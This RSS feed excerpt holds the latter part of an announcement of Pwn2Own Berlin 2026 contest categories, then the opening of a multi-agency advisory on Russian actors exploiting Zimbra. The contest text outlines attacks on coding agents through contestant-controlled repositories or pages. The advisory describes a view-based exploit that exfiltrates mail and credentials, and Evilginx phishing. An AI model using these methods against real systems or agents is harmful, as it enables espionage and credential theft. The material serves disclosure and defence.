https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png" data-image-dimensions="3000x2000" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w" width="3000" height="2000" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
